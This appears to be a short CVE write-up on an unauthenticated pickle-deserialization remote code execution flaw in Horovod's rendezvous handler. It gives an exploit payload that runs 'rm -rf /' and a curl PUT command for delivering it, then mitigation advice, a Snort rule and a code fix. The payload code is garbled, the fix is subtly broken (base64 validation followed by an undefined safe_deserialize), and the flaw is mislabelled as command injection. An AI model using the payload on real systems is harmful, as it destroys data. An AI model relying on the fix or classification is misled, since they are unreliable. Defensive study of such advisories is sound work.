How the Mentioned CVE Works:
Horovod versions up to and including v0.28.1 are vulnerable to unauthenticated remote code execution due to improper handling of base64-encoded data in the ElasticRendezvousHandler, a subclass of KVStoreHandler. The vulnerability arises in the `_put_value` method, which calls codec.loads_base64(value). This function decodes the base64-encoded data and passes it to cloudpickle.loads(decoded). Since `cloudpickle.loads` deserializes the data without proper validation, an attacker can craft a malicious pickle object, encode it in base64, and send it via a PUT request. This results in arbitrary code execution on the server, compromising the system.
DailyCVE Form:
Platform: Horovod
Version: <= v0.28.1
Vulnerability: Command Injection
Severity: Critical
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Crafting Malicious Payload:
- Use Python’s `pickle` module to create a malicious object.
- Example:
import pickle, base64, os class Exploit: def <strong>reduce</strong>(self): return (os.system, ('rm -rf /',)) payload = base64.b64encode(pickle.dumps(Exploit())).decode() - Send the payload via a PUT request to the vulnerable Horovod endpoint.
2. Sending Payload:
- Use `curl` or a Python script to send the malicious payload:
curl -X PUT -d "value=<base64_payload>" http://<target>/endpoint
Protection:
1. Update Horovod:
- Upgrade to a version above v0.28.1 if a patch is available.
2. Input Validation:
- Implement strict validation for base64-encoded data before deserialization.
3. Restrict Network Access:
- Limit access to Horovod endpoints to trusted IPs.
4. Use Safe Deserialization:
- Replace `cloudpickle.loads` with a safer alternative or implement a whitelist for allowed classes.
5. Monitor Logs:
- Regularly check server logs for unusual PUT requests.
Detection:
- Use intrusion detection systems (IDS) to monitor for suspicious base64-encoded payloads.
- Example Snort rule:
alert tcp any any -> any 8080 (msg:"Horovod Exploit Attempt"; content:"PUT"; content:"base64"; sid:1000001;)
Code Fix:
- Modify the `_put_value` method to validate input:
def _put_value(self, value): if not validate_base64(value): raise ValueError("Invalid base64 data") decoded = base64.b64decode(value) safe_deserialize(decoded)
Additional Analytics:
- CVSS Score: 9.8 (Critical)
- Affected Systems: Distributed training systems using Horovod.
- Exploitability: High (Remote, Unauthenticated)
- Mitigation Difficulty: Medium (Requires code changes and updates).
By following these steps, you can exploit, detect, and protect against this critical vulnerability in Horovod.
References:
Reported By: https://github.com/advisories/GHSA-mrhh-3ggq-23p2
Extra Source Hub:
Undercode
